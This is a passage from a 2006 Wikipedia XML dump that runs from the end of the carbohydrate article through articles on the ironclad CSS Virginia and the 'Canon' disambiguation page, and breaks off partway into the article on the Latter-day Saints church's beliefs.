It should be noted that the ring form has one more optically active carbon than the straight-chain form, and so has both an ''alpha'' and a ''beta'' form, which interconvert in equilibrium.  However, the carbohydrate may further react with an alcohol to form an [[acetal]] or [[ketal]], in which case the two forms become distinct.  This is the basic type of link between the monosaccharide units of larger carbohydrates.

==Disaccharides==

[[Disaccharide]]s are composed of two monosaccharide units bound together by a [[covalent]] [[glycosidic]] bond.  The binding between the two sugars results in the loss of a hydrogen atom (H) from one molecule and a [[hydroxyl group]] (OH) from the other.

The most common disaccharides are  [[sucrose]] (cane or beet sugar - made from one glucose and one fructose), [[lactose]] (milk sugar - made from one glucose and one galactose) and [[maltose]] (made of two glucoses).  The [[chemical formula|formula]] of these disaccharides is C&lt;sub&gt;12&lt;/sub&gt;H&lt;sub&gt;22&lt;/sub&gt;O&lt;sub&gt;11&lt;/sub&gt;.

==Oligosaccharides and polysaccharides==

[[Oligosaccharide]]s and [[polysaccharide]]s are composed of longer chains of monosaccharide units bound together by glycosidic bonds. The distinction between the two is based upon the number of monosaccharide units present in the chain. Oligosaccharides typically contain between three and nine monosaccharide units, and polysaccharides contain greater than ten monosaccharide units. Definitions of how large a carbohydrate must be to fall into each category vary however.

Oligosaccharides are found as a common form of [[protein]] [[Posttranslational modification|posttranslational modification]]. Polysaccharides represent an important class of biological [[polymer]]. Examples include [[starch]], [[cellulose]] and [[chitin]].

==Nutrition==
[[Image:starchy-foods..jpg|thumb|Unrefined [[cereal|grain]] products are rich sources of complex carbohydrates]]
Strictly speaking, carbohydrates are not necessary for [[human nutrition]] because [[protein]]s can be converted to carbohydrates. The traditional diet of some [[culture]]s consists of very little carbohydrate, and these people remain relatively healthy. However, carbohydrates require less water to digest than [[protein]]s or [[fat]]s and are the most abundant source of energy. Proteins and fat are vital building components for body [[biological tissue|tissue]] and [[cell (biology)|cells]], and thus it could be considered advisable not to deplete such resources by necessitating their use in energy production.

Based on evidence for risk of heart disease and obesity, the [[Institute of Medicine]] recommends that American and Canadian adults get between 40-65% of [[food energy|dietary energy]] from carbohydrates.&lt;ref&gt;Food and Nutrition Board (2002/2005). ''[http://newton.nap.edu/books/0309085373/html Dietary Reference Intakes for Energy, Carbohydrate, Fiber, Fat, Fatty Acids, Cholesterol, Protein, and Amino Acids]''. Washington, DC: The [[National Academies Press]]. Page [http://newton.nap.edu/books/0309085373/html/769.html 769]. ISBN 0-309-08537-3&lt;/ref&gt; The [[Food and Agriculture Organization]] and [[World Health Organization]] jointly recommend that national dietary guidelines set a goal of 55-75% of total energy from carbohydrates.&lt;ref&gt;Joint WHO/FAO expert consultation (2003). ''[http://www.who.int/hpr/NPH/docs/who_fao_expert_report.pdf Diet, Nutrition and the Prevention of Chronic Diseases]'' ([[Portable Document Format|PDF]]). Geneva: [[World Health Organization]]. Pages 55-56. ISBN 92-4-120916-X&lt;/ref&gt;.

Very low carbohydrate diets can slow down [[brain]] and [[neuroscience|neural]] function because the [[nervous system]] especially relies on glucose&lt;!--References needed:, and the conversion of protein into carbohydrates or relying on glycerol in triglycerides as energy is a complicated and lengthly process, and they do not 'burn as clean' as carbohydrates do. Part of these symptoms could also be due to nutrient deficiencies in lacking a varied diet--&gt;.

Some problems have been cited for the long term effects of a no-carbohydrate diet for some individuals. Athletes, for instance, or those that participate in high intensity activities, will have a considerable reduction in performance, due to having little or no glycogen supplies stored in muscle tissue. Additionally, [[nephrotoxicity]] may occur, particularly in persons that are not very well hydrated.

===Classification===

[[Dietitian]]s and [[nutritionist]]s commonly classify carbohydrates as simple ([[monosaccharide]]s and [[disaccharide]]s) or complex ([[oligosaccharide]]s and [[polysaccharide]]s), depending on their chemical structure. The term ''complex carbohydrate'' was first used in the Senate Select Committee publication ''Dietary Goals for the United States'' (1977), where it denoted &quot;fruit, vegetables and whole-grains&quot;.&lt;ref&gt;Joint WHO/FAO expert consultation (1998), ''Carbohydrates in human nutrition'', [http://www.fao.org/docrep/W8079E/w8079e07.htm  chapter 1]. ISBN 92-5-104114-8.&lt;/ref&gt; Dietary guidelines generally recommend that complex carbohydrates and nutrient-rich simple carbohydrates such as [[fruit]] and [[dairy product]]s should make up the bulk of carbohydrate consumption. The [[United States Department of Agriculture|USDA]]'s ''Dietary Guidelines for Americans 2005'' dispenses with the simple/complex distinction, instead recommending fiber-rich foods and whole grains.&lt;ref&gt;[[United States Department of Health and Human Services|DHHS]] and [[United States Department of Agriculture|USDA]], ''Dietary Guidelines for Americans 2005'', [http://www.health.gov/dietaryguidelines/dga2005/document/html/chapter7.htm Chapter 7 Carbohydrates]&lt;/ref&gt;

The [[glycemic index]] and [[glycemic load]] systems are popular alternative classification methods which rank carbohydrates based on their effect on [[blood glucose]] levels.

==Catabolism==

There are two major [[metabolic pathway]]s of carbohydrate [[catabolism]]:

# [[Glycolysis]]
# [[Citric acid cycle]]

==See also==
* [[Biochemistry]]
* [[Macromolecules]]
* [[Glycolysis]]
* [[Gluconeogenesis]]
* [[Pentose phosphate pathway]]

==References==
&lt;references/&gt;

==External links==
* [http://www.chem.qmw.ac.uk/iupac/2carb/ IUPAC-IUBMB Joint Commission on Biochemical Nomenclature (JCBN): Carbohydrate Nomenclature]
* [http://www.vitamins-minerals-supplements.org/nutritional-supplements/carbohydrates.htm  Carbohydrates Information]
* [http://www.cem.msu.edu/~reusch/VirtualText/carbhyd.htm Carbohydrates detailed]
* [http://www.carbohydrate-counter.org/about-carbohydrates.php Carbohydrates Overview]
* [http://www.biochemweb.org/carbohydrates.shtml Carbohydrates and Glycosylation - The Virtual Library of Biochemistry and Cell Biology]
* [http://www.functionalglycomics.org/static/consortium/ Consortium for Functional Glycomics]

[[Category:Carbohydrates| ]]
[[Category:Nutrition]]

[[bg:Въглехидрат]]
[[ca:Hidrat de carboni]]
[[cs:Sacharid]]
[[da:Kulhydrat]]
[[de:Kohlenhydrate]]
[[el:Υδατάνθρακας]]
[[es:Hidrato de carbono]]
[[eo:Karbonhidrato]]
[[fa:کربوهیدرات]]
[[fr:Glucide]]
[[ko:탄수화물]]
[[id:Karbohidrat]]
[[it:Glucidi]]
[[he:פחמימה]]
[[lv:Ogļhidrāti]]
[[lt:Angliavandenis]]
[[hu:Szénhidrát]]
[[mk:Јаглехидрат]]
[[nl:Koolhydraat]]
[[ja:炭水化物]]
[[no:Karbohydrat]]
[[nn:Karbohydrat]]
[[pl:Węglowodan]]
[[pt:Carboidrato]]
[[ru:Углеводы]]
[[sl:Ogljikov hidrat]]
[[sr:Угљени хидрати]]
[[su:Karbohidrat]]
[[fi:Hiilihydraatti]]
[[sv:Kolhydrat]]
[[th:คาร์โบไฮเดรต]]
[[tr:Karbonhidrat]]
[[zh:糖类]]</text>
    </revision>
  </page>
  <page>
    <title>CSS Virginia</title>
    <id>5933</id>
    <revision>
      <id>41444267</id>
      <timestamp>2006-02-27T10:09:18Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>Added image</comment>
      <text xml:space="preserve">{{Ship table | Ship name = CSS ''Virginia''
| NavyColor=gray
| Ship image = [[Image:Ch14CSSVirginia.jpg|300px|CSS Virginia]]
| Ship flag = [[Image:Confederate Battle Flag.svg|52px|Confederate Navy Jack]]
| Ship ordered = 1861
| Ship laid down = 1862
| Ship commissioned = 1862
| Ship decommissioned = 
| Ship fate = scuttled by crew
| Ship displacement = approx. 3200 tons (the data differ, 800 tons is unlikely)
| Ship length = 275 ft (84 m)
| Ship beam = 38.6 ft (11.8 m)
| Ship draft = 22 ft (6.7 m)
| Ship speed = 9 knots (17 km/h)
| Ship complement = 320 officers and men
| Ship armament = two 7 in (178 mm) rifles&lt;br/&gt;two 6 in (152 mm) rifles&lt;br&gt;six 9 in (229 mm) Dahlgren smoothbores&lt;br/&gt;two 12-pounder (5 kg) howitzers
| Ship armor = Iron
}}

'''CSS ''Virginia''''' was an [[ironclad warship]] of the [[Confederate States Navy]] during the [[American Civil War]] (built using the remains of the scuttled [[USS Merrimack (1855)|USS ''Merrimack'']]).

She was one of the participants in the '''[[Battle of Hampton Roads]]''' in March, [[1862]] opposite the [[USS Monitor|USS ''Monitor'']]. The battle is chiefly significant in naval history as the first battle between two powered [[ironclad warship]]s, which came to be known as ''ironclads''.

Prior to then, nearly all warships were made primarily of wood. Afterwards, the design of ships and the nature of naval warfare changed dramatically.

== USS ''Merrimack'' becomes CSS ''Virginia'' ==

When the Commonwealth of [[Virginia]] seceded from the Union in [[1861]], one of the important federal military bases threatened was Gosport Shipyard (now [[Norfolk Naval Shipyard]]) in [[Portsmouth, Virginia]]. Accordingly, the order was sent to destroy the base rather than allow it to fall into [[Confederate States of America|Confederate]] hands. Unfortunately for the Union, these orders were bungled. The steam frigate [[USS Merrimack (1855)|USS ''Merrimack'']] sank before it completely burned. When the Confederates entered the yard, they raised the ''Merrimack'' and decided to use the engines and hull to build an [[ironclad warship|ironclad ram]].

This new ship was named ''Virginia''. It had an [[iron]] deck and casement, four inches (102 mm) thick. It mounted ten cannons, one in front and rear and four on each side. Further, the designers of the ''Virginia'' had heard of plans by the North to build an ironclad. Figuring that cannon would be unable to harm such a ship, and to conserve gunpowder, they equipped the ''Virginia'' with a ram&amp;mdash;the first ship so-equipped in over a thousand years.  The ''Merrimack'''s engines, now part of the ''Virginia'', had not been in good working order, and the salty [[Elizabeth River (Virginia)|Elizabeth River]]  water did not help it very much. The addition of a number of tons of iron did not improve the situation.

== Battle of Hampton Roads ==
[[Image:Merrimac.jpg|thumb|left|300px|Drawing depicting the battle of Hampton Roads]]
The [[Battle of Hampton Roads]] began on [[March 8]] [[1862]] when ''Virginia'' set out for [[Hampton Roads]].  Despite an all-out effort to complete her, the ship still had workmen on board when she sailed.  Supported by [[CSS Raleigh (1861)|''Raleigh'']] and [[CSS Beaufort|''Beaufort'']], and accompanied by [[CSS Patrick Henry|''Patrick Henry'']], [[CSS Jamestown|''Jamestown'']], and [[CSS Teaser|''Teaser'']], ''Virginia'' took on the blockading fleet.

The first ship engaged, [[USS Cumberland (1842)|USS ''Cumberland'']], was sunk after being  rammed.  However, in sinking, ''Cumberland'' broke off ''Virginia's'' ram. Seeing what happened to ''Cumberland'', the captain of [[USS Congress (1841)|USS ''Congress'']] ordered his ship grounded in shallow water. ''Congress'' and ''Virginia'' traded fire for an hour, after which the badly-damaged ''Congress'' surrendered.  While the surviving crewmen of ''Congress'' were being ferried off the ship, a Union battery on the north shore opened fire on ''Virginia''.  In retaliation, the captain of ''Virginia'' ordered ''Congress'' fired upon with red-hot shot, to set her ablaze.

''Virginia'' did not emerge from the battle unscathed.  Shot from ''Cumberland'', ''Congress'', and Union troops had riddled her smokestack, reducing her already low speed.  Two of her guns were out of order, and a number of armor plates had been loosened.  Even so, her captain attacked [[USS Minnesota (1855)|USS ''Minnesota'']], which had run aground on a sandbank trying to escape ''Virginia''.  However, because of the deep draft of the ship, ''Virginia'' was unable to do significant damage.  It being late in the day, ''Virginia'' left with the expectation of returning the next day and completing the destruction of the Union fleet.

Later that night, the [[USS Monitor|USS ''Monitor'']] arrived at Union-held [[Fort Monroe]]. This Union ironclad had been rushed to [[Hampton Roads]] in hopes of protecting the Union fleet and preventing ''Virginia'' from threatening Union cities.

The next day, on [[9 March]] [[1862]], the world's first battle between ironclad warships took place. The smaller and nimbler ''Monitor'' was able to outmaneuver ''Virginia'', but neither ship proved able to do significant damage to the other. Finally, ''Virginia'' retreated up the James River, leaving ''Monitor'' and the rest of the Union fleet in possession of the &quot;battlefield.&quot;

During the next two months, ''Virginia'' made several sorties to Hampton Roads hoping to draw ''Monitor'' into battle. ''Monitor'', however, was under orders not to engage ''Virginia'' and refused to fight.

Finally on [[May 10]], [[1862]], advancing Union troops occupied [[Norfolk, Virginia|Norfolk]]. ''Virginia'' was unable to retreat further up the James River due to her deep draft, nor was she seaworthy enough to enter the ocean. Without a home port, ''Virginia'' was ordered burnt to keep her from being captured. Early on the morning of [[May 11]], [[1862]], off [[Craney Island]], the flames reached her magazine and the ship was destroyed by a great explosion.

[[Image:Destruction of Merrimac, May 11, 1862.png|thumb|right|Destruction of the Rebel Monster &quot;Merrimack&quot;, pic of [[Currier and Ives]]]]

==Historical names: ''Merrimack'', ''Virginia'', ''Merrimac''==

The name of the warship which served the Confederacy in the famous Battle of Hampton Roads has become a source of confusion, which continues to the present day.

She was commissioned by the Confederacy as ''Virginia''. However, even after she was rebuilt, the [[Union (American Civil War)|Union]] preferred to call the Confederate ironclad warship by her earlier name, ''Merrimack''. Perhaps because the Union won the US Civil War, the history of the United States generally records the Union version. However, in an apparent quirk in history, at some later time, the name commonly used was shortened to drop the final &quot;-k&quot;, hence &quot;the Battle of the ''Monitor'' and the ''Merrimac''&quot;.

==Memorial, heritage==

*It is said that the most popular exhibit at [[Jamestown Exposition]] held in [[1907]] at [[Sewell's Point]] was the &quot;Battle of the ''Merrimac'' and ''Monitor'',&quot; a diorama which was in a special building.

*The small community in [[Montgomery County, Virginia]] near the location where the iron for the Confederate ironclad was forged is now known as [[Merrimac, Virginia]]. 

*Some of the iron mined at Merrimac, Virginia and used in the plating on the confederate ironclad is displayed at the [[Norfolk Naval Shipyard]] in [[Portsmouth, Virginia]]. 

*Other pieces of the ''Virginia'' are on display at the [[Mariners' Museum]] in [[Newport News, Virginia|Newport News]] and the [[Museum of the Confederacy]] in [[Richmond, Virginia|Richmond]], where the [[anchor]] has resided on the front lawn for many years.

The name of the [[Monitor-Merrimac Memorial Bridge-Tunnel]], built in Hampton Roads in the general vicinity of the famous engagment, with both Virginia and federal funds, also reflects the more recent version.

Should the periodic modern efforts to recover more of the Confederate vessel from the depths of [[Hampton Roads]] prove successful, it is unclear what name will be applied to the remains.

==See also==
*[[Norfolk Naval Shipyard]]
*[[USS Merrimack %281855%29]]

== References ==

[[Military Heritage]] did a feature on the Merrimack (C.S.A. Virginia), USS Monitor, and the Battle at Hampton Roads (Keith Milton, Military Heritage, December 2001, Volume 3, No. 3, pp.38 to 45 and p. 97).

==External links==
*[http://www.lva.lib.va.us/ Library of Virginia official website]
*[http://www.vahistorical.org/ Virginia Historical Society official website]
*[http://www.moc.org/ Museum of the Confederacy in Richmond, VA official website]
*[http://cssvirginia.org/ website devoted to the CSS ''Virginia'']
*[http://www.hamptonroadsvisitor.com Hampton Roads Visitor Guide]
* [http://www.monitorcenter.org/ USS Monitor Center and Exhibit Newport News, Virginia]
* [http://www.mariner.org/ Mariner's Museum, Newport News, Virginia]
* [http://www.hrnm.navy.mil/ Hampton Roads Naval Museum]
* [http://www.multied.com/Navy/cwnavalhistory/ Civil War Naval History]
* [http://www.geocities.com/hrforts/Fort_Wool/history.htm Fort Wool History]
* [http://www.roadstothefuture.com/I664_VA_MMMBT.html Roads to the Future - I-664 Monitor-Merrimac Memorial Bridge Tunnel]

[[Category:Naval ships of the Confederate States of America|Virginia]]

[[de:CSS Virginia]]</text>
    </revision>
  </page>
  <page>
    <title>Canon</title>
    <id>5934</id>
    <revision>
      <id>41484030</id>
      <timestamp>2006-02-27T17:49:04Z</timestamp>
      <contributor>
        <username>Jcbarr</username>
        <id>482173</id>
      </contributor>
      <comment>added entry</comment>
      <text xml:space="preserve">{{wiktionarypar|canon}}
'''Canon''' may mean:

In '''religion''':
* [[Canon law]], all legislation adopted by an ecumenical council of the Catholic or Eastern Orthodox churches
* [[Canon (priest)]], a form of Christian priest
* [[Canon (hymnography)]], a type of [[Eastern Orthodox Church|Eastern Orthodox]] hymn 
* ''Canon'', a collection of texts accepted by a religious community as authoritative or divinely inspired, such as:
** [[Biblical canon]]
** [[Taoist canon]]
** [[Tripitaka]]

'''Other uses''':
* [[Canon (art)]], a set of rules and measurements used in creating a work of art
* [[Canon (music)]], a contrapuntal composition that employs a melody with one or more imitations
* ''Canon'' is another name for the stringed instruments the [[psaltery]] and the [[qanún]]
* [[Canon (fiction)]], the body of works that are considered to be &quot;genuine&quot; or &quot;official&quot; within a certain fictional universe. 
* [[Canon Inc.]], a Japanese corporation that specialises in imaging and optical products.
* ''Literary canon'', a body of literature which is widely considered to define a certain civilization, such as:
** [[Western canon]]
** [[Chinese classic texts]]
** [[Geek canon]]
*''Literary canon'' is also understood as the body of work attributed to an author that is widely accepted as genuine.
* In many instances it could be a spelling error for &quot;[[cannon]]&quot;, a large weapon used in combat. 
* Canons was a country estate outside of [[London]] where the current [[Canons Park]] is located.

{{disambig}}

[[cs:Kánon]]
[[da:Kanon]]
[[de:Kanon]]
[[fr:Canon]]
[[ko:카논]]
[[nl:Canon]]
[[ja:カノン]]
[[nn:Kanon]]
[[pl:Kanon]]
[[ru:Канон]]
[[sv:Kanon]]</text>
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  </page>
  <page>
    <title>Church of Jesus Christ of Latter-day Saints</title>
    <id>5935</id>
    <revision>
      <id>41987588</id>
      <timestamp>2006-03-03T01:39:59Z</timestamp>
      <contributor>
        <ip>71.33.202.129</ip>
      </contributor>
      <comment>bit more correct</comment>
      <text xml:space="preserve">[[Image:Temple Square October 05 (8) c.JPG|thumb|right|345px|The [[Salt Lake Temple]] of [[The Church of Jesus Christ of Latter-day Saints]] is the largest attraction in the city's [[Temple Square]].]]

'''The Church of Jesus Christ of Latter-day Saints''', widely known as the &quot;'''LDS Church'''&quot; or the &quot;'''Mormon Church'''&quot;, is the largest and best known [[Christian denomination|denomination]] within the [[Latter Day Saint movement]] (a form of [[Christianity|Christian]] [[Restorationism]]).  The church is headquartered in [[Salt Lake City, Utah|Salt Lake City]], [[Utah]], [[United States]].

[[Latter-day Saints]] are widely known for:
* Active [[proselytism|proselyting]] by full-time volunteer [[missionary|missionaries]].
* Belief in modern-day [[revelation#Mormon concept of Revelation|revelation]] through [[prophet]]s, beginning with [[Joseph Smith, Jr.]], and continuing until the present through [[Gordon B. Hinckley]].
* Acceptance of the ''[[Bible]]'' as scripture as far as it is translated correctly, and the ''[[Book of Mormon]]'', ''[[Doctrine and Covenants]]'', and ''The [[Pearl of Great Price (Mormonism)|Pearl of Great Price]]'' as reliable works of scripture.
* A health code called the [[Word of Wisdom]], which suggests refraining from alcohol, tobacco, coffee, tea, and illegal drugs. The Word of Wisdom also encourages individuals to be healthy and balanced in other aspects of life, such as exercise and sleep.
* Belief in God the Father, the Son ([[Christ]]), and the [[Holy Spirit|Holy Ghost]] existing as three separate individual beings or personages with one common goal. Thus, they are sometimes said to be &quot;one in spirit.&quot;
* Belief in a form of [[theosis]] called ''[[exaltation]]'' or ''[[eternal progression]]''.
* Wearing ceremonial [[temple garment]]s under their daily clothes by Temple worthy members.
* Doing [[genealogy|genealogical]] research, and performing by proxy saving ordinances such as  [[Baptism for the dead]] and other ordinances in [[Temple (Mormonism)|temples]].{{Template:LDS}}
As the name of the church implies, Latter-day Saints regard Jesus Christ as the head of their church and count themselves as Christians, but do not consider themselves part of the [[Catholic Church|Catholic]], [[Orthodox Christianity|Orthodox]], or [[Protestantism|Protestant]] traditions. Rather, they believe the church to be the restoration of the original church established by Jesus Christ on Earth.  Some outside observers classify the church as a Protestant denomination, while others do not consider it to be a Christian church at all (see [[Mormonism and Christianity]]). The church has no formal association with groups of [[Mormon fundamentalism|&quot;Mormon fundamentalists&quot;]], who still practice [[polygamy]]. 

The church reports a worldwide membership of 12,275,822 as of [[December 31]], [[2004]], with 6.7 million members residing outside the United States. It is the fourth largest religious body (or denomination - not denomination family) in the United States [http://adherents.com/rel_USA.html#bodies]. The church membership report includes all those who have been [[baptism|baptized]] by the church (adults and youth), regardless of attendance (people who ask to have their names removed from church records are not included in the tally). However, this report includes unbaptized children of record (between the ages of 0 and 8 years). &lt;!-- please see discussion page before changing--&gt; According to statistics released by the church, 47% of its members live in the United States and Canada, 36% in Latin America, and 17% in other parts of the world. (See [http://www.lds.org/newsroom/page/0,15606,4036-1---12-168,00.html Membership Distribution])

== History ==
{{main articles|[[History of The Church of Jesus Christ of Latter-day Saints]] and [[History of the Latter Day Saint movement]]}}

Members of the church &amp;mdash; known as Latter-day Saints &amp;mdash; believe their faith to be the divinely appointed, [[Restoration (Mormonism)|restoration]] of the church established by Jesus Christ as depicted in the [[New Testament]]. They believe that following the crucifixion of [[Jesus]] and the death of his [[Twelve Apostles|apostles]], the authentic Christian church and its authority rapidly began to disappear, leading ultimately to the [[Great Apostasy]]. As a result, new doctrine influenced by Hellenistic philosophy came to the fore, and by the fourth century, the [[Priesthood (Mormonism)|Priesthood]] &amp;mdash;or the authority to act in the name of God&amp;mdash; had been lost from the Earth completely.

[[image:Joseph Smith, Jr. profile by Bathsheba Smith circa 1843.jpg|thumb|190px|Profile of Joseph Smith, Jr. (circa [[1843]]) by [[Bathsheba W. Smith]], first wife of [[Apostle (Mormonism)|Apostle]] [[George A. Smith]]. Joseph Smith was the founder and first [[President of the Church (Mormonism)|President]] of the church.]]

Church members further believe the testimony of Joseph Smith: that in the spring of [[1820]], [[God the Father]] and His Son, Jesus Christ, appeared to a 14-year-old boy, [[Joseph Smith, Jr.]], in response to his prayer inquiring which sect he should join. He was commanded to join none of the existing churches, and through other angelic visits was eventually called as the first [[prophet]] of the restored church. This event set in motion the events that led to the earthly restoration of the ancient church of Jesus Christ with its truths and priesthood authority. Ten years later, after a series of other revelations and visitations to Joseph and others, The Church of Jesus Christ of Latter-day Saints was officially organized by Joseph Smith, Jr. and five associates on [[6 April]] [[1830]], in [[Fayette, New York]]. They were in the company of some 56 men and women. 

The church teaches that over time, Joseph Smith and [[Oliver Cowdery]] received the priesthood and its keys lost to the earth from resurrected beings who held the authority anciently, including [[John the Baptist]] ([[May 15]], [[1829]], Aaronic Priesthood), the apostles [[Saint Peter|Peter]], [[Saint James the Great|James]] and [[John the Apostle|John]] (May or June 1829, Melchizidek Priesthood{{fn|1}}), and the ancient prophet [[Elijah]] ([[April 3]], [[1836]]). These priesthoods brought with them the restoration of the authority to perform [[baptism]] and other [[ordinance (Mormonism)|ordinances]]. 

After suffering under persecution in several states, including a government-ordered [[Extermination Order (Mormonism)|extermination order]] from Lilburn W. Boggs, governor of [[Missouri]], Smith was eventually [[death of Joseph Smith, Jr.|killed]] by a mob on [[June 27]], [[1844]]. [[Brigham Young]], then [[President of the Quorum of the Twelve Apostles|President]] of the [[Quorum of the Twelve Apostles]], was sustained by the majority of the church as the next Prophet and [[President of the Church (Mormonism)|President]] of the church (see also [[Succession crisis (Mormonism)|succession crisis]]). Faced with further persecution in [[Nauvoo, Illinois]] and surrounding towns, members of the church eventually followed Brigham Young to the [[Salt Lake Valley]], and settled a large [[State of Deseret|area]] now encompassed by the state of [[Utah]] and parts of [[Arizona]], [[California]], [[Nevada]], [[Idaho]], and [[Wyoming]]. The church remains headquartered in the Salt Lake Valley and is currently led by President [[Gordon B. Hinckley]].

== Name of the church ==

[[Image:Logo_of_the_Church_of_Jesus_Christ_of_Latter-day_Saints_(1995).gif|thumb|left|The Church's official [[logo]] since 1995]] When the church was organized in 1830 it was called the &quot;[[Church of Christ (Mormonism)|Church of Christ]]&quot;. It was also referred to as the &quot;Church of Latter Day Saints&quot; to differentiate the church of this era from that of the New Testament, and was generally known by that name between 1834 and 1838. In April [[1838]], the full name was stated as &quot;the Church of Jesus Christ of Latter Day Saints&quot;{{fact|punctuation check is need in primary document}}, according to direction recorded in [http://scriptures.lds.org/dc/115/3-4 Doctrine and Covenants 115:3-4]. When the church became a corporation in 1851, the legal documents used the current standardized spelling and punctuation, capitalizing the first article, &quot;The&quot;, and using the British hyphenation of &quot;Latter-day&quot;: The Church of Jesus Christ of Latter-day Saints. There is some dispute as to whether or not this was the official name prior to 1851, mostly because there was not standard spelling or punctuation in any church publications prior to that time and legal documents of the organization are not readily available. The church currently uses the word &quot;The&quot; as part of its official name, as opposed to a modifying article. 

The church is also commonly referred to as the &quot;LDS Church&quot; in Utah and surrounding areas, while it is more often known as the &quot;Mormon Church&quot; throughout the rest of the world. Church members are often known simply as &quot;Mormons&quot;, &quot;the Saints&quot;, or &quot;Latter-day Saints&quot; with the latter two being the currently preferred terms by most Latter-day Saints themselves. Occasionally, these names may bring about confusion, as other groups outside the church are sometimes alluded to using these same terms. Of all of the [[Latter Day Saint]] groups, however, The Church of Jesus Christ of Latter-day Saints is the one most commonly referenced when using these terms. The nickname &quot;[[Mormon]]&quot; arose soon after the publication of ''[[The Book of Mormon]]'' in 1830. Although originally used [[Pejorative|pejoratively]] to refer to the church or its members, the term came to be used widely within the church. 

In a [http://www.lds.org/newsroom/page/0,15606,3899-1---15-168,00.html style guide] issued in [[2001]], the church requests that the official name, &quot;The Church of Jesus Christ of Latter-day Saints&quot;, be used where possible, stating: &quot;This full name was given by revelation from God to Joseph Smith in [[1838]].&quot; It also encourages the use of &quot;the Church&quot; or &quot;The Church of Jesus Christ&quot; as a shortened reference although the &quot;LDS Church&quot; is commonly used within the church's publications. When referring to members of the church, it suggests &quot;Latter-day Saints&quot; as preferred, although &quot;Mormons&quot; is acceptable. Despite the church's efforts to encourage use of the official name, the [[Associated Press]] has continued to recommend &quot;Mormon Church&quot; as a proper second reference in its ''Style Guide'' for journalists. In contrast to the Associated Press Stylebook's guidelines which apply the term only to The Church of Jesus Christ of Latter-day Saints, some scholars feel the term &quot;Mormon&quot; is also useful as a collective description for all those groups which claim to have descended from Joseph Smith. A new movement is underway to refer to the unique culture, social workings and doctrines of the sects that claim succession from Smith as [[Mormonism]] and historical underpinnings as the [[Latter Day Saint movement]].
&lt;!--This is important to the terms used within the article and other articles in the Wikipedia:WikiProject Latter Day Saint movement. --&gt;
Within the church, members are collectively referred to as &quot;saints&quot;, which reflects the belief that anyone who covenants by baptism to follow Christ is a [[saint]], as members of the primitive church were also deemed. The term &quot;saint&quot; is not solely reserved for an exemplary Christian as in some other churches.  It is used, as in Biblical times, to refer to anyone who had become converted to the gospel.

==Major Beliefs==
The Church of Jesus Christ of Latter-day Saints has many beliefs unique to the church. 

=== First Principles and Ordinances of the Gospel ===

The fourth [[Articles of Faith (Mormonism)|Articles of Faith]] states that Latter-day Saints &quot;believe that the first principles and ordinances of the Gospel are: first, [[Church of Jesus Christ of Latter-day Saints#Faith|Faith]] in the Lord Jesus Christ; second, [[Church of Jesus Christ of Latter-day Saints#Repentance|Repentance]]; third, [[Church of Jesus Christ of Latter-day Saints#Baptism|Baptism]] by immersion for the remission of sins; fourth, Laying on of hands for the [[Church of Jesus Christ of Latter-day Saints#Gift of the Holy Ghost|gift of the Holy Ghost]].&quot;

==== Faith ====
Latter-day Saints believe that faith in Jesus is a fundamental requisite to [[Salvation#Christian views of salvation|Salvation]].  The Prophet [[Joseph Smith]] taught, “The fundamental principles of our religion are the testimony of the Apostles and Prophets, concerning Jesus Christ, that He died, was buried, and rose again the third day, and ascended into heaven; and all other things which pertain to our religion are only appendages to it.” (''Teachings of the Prophet Joseph Smith'', 121).

The ''Lectures on Faith'' teach that faith is a principle of action and of power, in both the temporal and the spiritual realm.  Ultimately, faith is “the first great governing principle which has power, dominion, and authority over all things.” (Lecture 1).  For Latter-day Saints, the historical basis of faith comes from the record in the [[Bible]], which leads to a personal [[Theophany]].

The ''Lectures on Faith'' explain:

:Let us here observe, that three things are necessary in order that any rational and intelligent being may exercise faith in God unto life and salvation:
:First, the idea that he actually exists.
:Secondly, a ''correct'' idea of his character, perfections, and attributes.
:Thirdly, an actual knowledge that the course of life which he is pursuing is according to his will. For without an acquaintance with these three important facts, the faith of every rational being must be imperfect and unproductive; but with this understanding it can become perfect and fruitful, abounding in righteousness, unto the praise and glory of God the Father, and the Lord Jesus Christ. (Lecture 3)
The character and attributes and perfections of Christ are [[Knowledge]], [[Faith]] (or [[Power (sociology)|Power]]), [[Justice]], [[Judgment]] , [[Mercy]] , and [[Truth]]. By the operation of the [[Holy Spirit|Holy Ghost]], the miracle of the [[Atonement]], and personal [[sacrifice]], we can develop the same character and attributes of God, and become like Him.

Faith in Jesus Christ means accepting Jesus Christ as the Son of God and the [[Messiah]]. This includes two parts: 1) the belief that all who live on Earth are granted salvation from [[death]] (physical [[resurrection]]) through the Atonement, the sacrificial death and resurrection of Jesus Christ; and 2) that salvation from [[sin]] (or spiritual death) is obtained through ''sincere'' repentance, resulting in forgiveness for sin through his [[Divine grace|grace]], and by following the teachings and commandments of Jesus Christ. Latter-day Saints are encouraged by church leaders and the LDS culture to develop their faith through study, prayer, service, and obedience to God's commandments.  Faith is a form of spiritual work, and character-shaping, in conjunction with the miracle of Christ's Atonement.

Latter-day Saints often refer to their personal faith as their &quot;testimony&quot; and refer to telling others about their faith as &quot;bearing testimony.&quot;

==== Repentance ====

Latter-day Saints believe in the principle of [[repentance]], which for them includes a sincere regret, or &quot;godly sorrow&quot;, as well as restitution when possible and abstinence from the sin. Key to the repentance process is a person's personal, prayerful confession to God, which includes asking for forgiveness and resolving not to repeat the mistake. It is important to confess serious sins to a bishop, who can offer advice and encouragement. Consistent with the meaning of the [[Hebrew language|Hebrew]] and [[Greek language|Greek]] words from which it is translated, repentance denotes &quot;a change of mind&quot;, &quot;a turning of the heart and will to God, and a renunciation of sin to which we are naturally inclined.&quot; Thus, a return to sin shows that the repentance process is not truly completed. Repentance is for small and large sins and is an ongoing process.

==== Baptism ====

The Church of Jesus Christ practices [[baptism#Latter-day Saint baptism|baptism]] by immersion in water. Baptism is symbolic of burial and rebirth as a disciple of Jesus Christ. Like many [[Christian]]s, Latter-day Saints believe that a person who repents and is baptized has all prior sins remitted.

